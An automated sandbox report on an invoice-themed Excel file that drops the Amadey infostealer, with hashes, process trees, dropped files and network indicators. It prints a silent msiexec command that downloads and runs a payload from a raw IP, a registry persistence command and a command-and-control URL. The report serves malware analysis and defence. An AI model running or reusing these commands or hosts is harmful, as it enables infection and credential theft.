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| File name: | B0D33EBC_Factura_FMC4752_20190424.xls |
| Full analysis: | https://app.any.run/tasks/b8e9c32a-d43a-49f3-af95-c4c5ea622bb6 |
| Verdict: | Malicious activity |
| Threats: | Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. |
| Analysis date: | April 25, 2019, 06:55:15 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Wed Apr 24 15:31:30 2019, Security: 0 |
| MD5: | 5881373811FCCA6E422385F317145916 |
| SHA1: | 9F4FCF622FE01AD21F89F81A735EA9137A7537E7 |
| SHA256: | C45C0DD7171D9618F95323E5EF06A5E0C89F363A9C14680CB4B4AE9DB363700C |
| SSDEEP: | 3072:+Kpb8rGYrMPelwhKmFV5xtezEsgrdgaeEQSNfzAKAn8CsENt:+Kpb8rGYrMPelwhKmFV5xtuEsgrdgaHs |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3064)
Uses Microsoft Installer as loader
- EXCEL.EXE (PID: 3064)
Changes the Startup folder
- REG.exe (PID: 3860)
Connects to CnC server
- cmualrc.exe (PID: 3232)
Downloads executable files from IP
- msiexec.exe (PID: 2296)
Downloads executable files from the Internet
- msiexec.exe (PID: 2296)
AMADEY was detected
- cmualrc.exe (PID: 3232)
Application was dropped or rewritten from another process
- cmualrc.exe (PID: 3232)
SUSPICIOUS
Drop ExeToMSI Application
- msiexec.exe (PID: 2296)
Executable content was dropped or overwritten
- msiexec.exe (PID: 2296)
- MSI7005.tmp (PID: 120)
Uses REG.EXE to modify Windows registry
- cmualrc.exe (PID: 3232)
Creates files in the program directory
- MSI7005.tmp (PID: 120)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3064)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 2296)
Starts application with an unusual extension
- msiexec.exe (PID: 2296)
Application was dropped or rewritten from another process
- MSI7005.tmp (PID: 120)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
|---|
EXIF
FlashPix
| Author: | Microsoft Office |
|---|---|
| LastModifiedBy: | 1 |
| Software: | Microsoft Excel |
| CreateDate: | 2018:12:19 10:42:12 |
| ModifyDate: | 2019:04:24 14:31:30 |
| Security: | None |
| CodePage: | Windows Cyrillic |
| Company: | Microsoft Corporation |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: |
|
| HeadingPairs: |
|
Total processes
38
Monitored processes
6
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3064 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
| 2556 | msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 2296 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 120 | "C:\Windows\Installer\MSI7005.tmp" | C:\Windows\Installer\MSI7005.tmp | msiexec.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3232 | c:\programdata\f64a428dfd\cmualrc.exe | c:\programdata\f64a428dfd\cmualrc.exe | MSI7005.tmp | |
User: admin Integrity Level: MEDIUM | ||||
| 3860 | REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd | C:\Windows\system32\REG.exe | cmualrc.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
721
Read events
657
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
1
Text files
9
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3064 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR63AD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFAC9CD54231A4F8A9.TMP | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Windows\Installer\MSI6F28.tmp | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Windows\Installer\MSI7005.tmp | — | |
MD5:— | SHA256:— | |||
| 120 | MSI7005.tmp | C:\ProgramData\0 | — | |
MD5:— | SHA256:— | |||
| 120 | MSI7005.tmp | C:\programdata\f64a428dfd\cmualrc.exe:Zone.Identifier | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Config.Msi\106e7d.rbs | — | |
MD5:— | SHA256:— | |||
| 3232 | cmualrc.exe | C:\ProgramData\0 | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF611FD0D856D56538.TMP | — | |
MD5:— | SHA256:— | |||
| 2296 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\History\History.IE5\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3232 | cmualrc.exe | POST | — | 178.169.222.191:80 | http://gohaiendo.com/ppk/index.php | BG | — | — | malicious |
2296 | msiexec.exe | GET | 200 | 109.234.38.177:80 | http://109.234.38.177/dom4 | RU | executable | 172 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3232 | cmualrc.exe | 178.169.222.191:80 | gohaiendo.com | Bulsatcom EAD | BG | malicious |
2296 | msiexec.exe | 109.234.38.177:80 | — | Webzilla B.V. | RU | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
gohaiendo.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2296 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
2296 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
3232 | cmualrc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan.Win32.Amadey |
3232 | cmualrc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan.Win32.Amadey |
2 ETPRO signatures available at the full report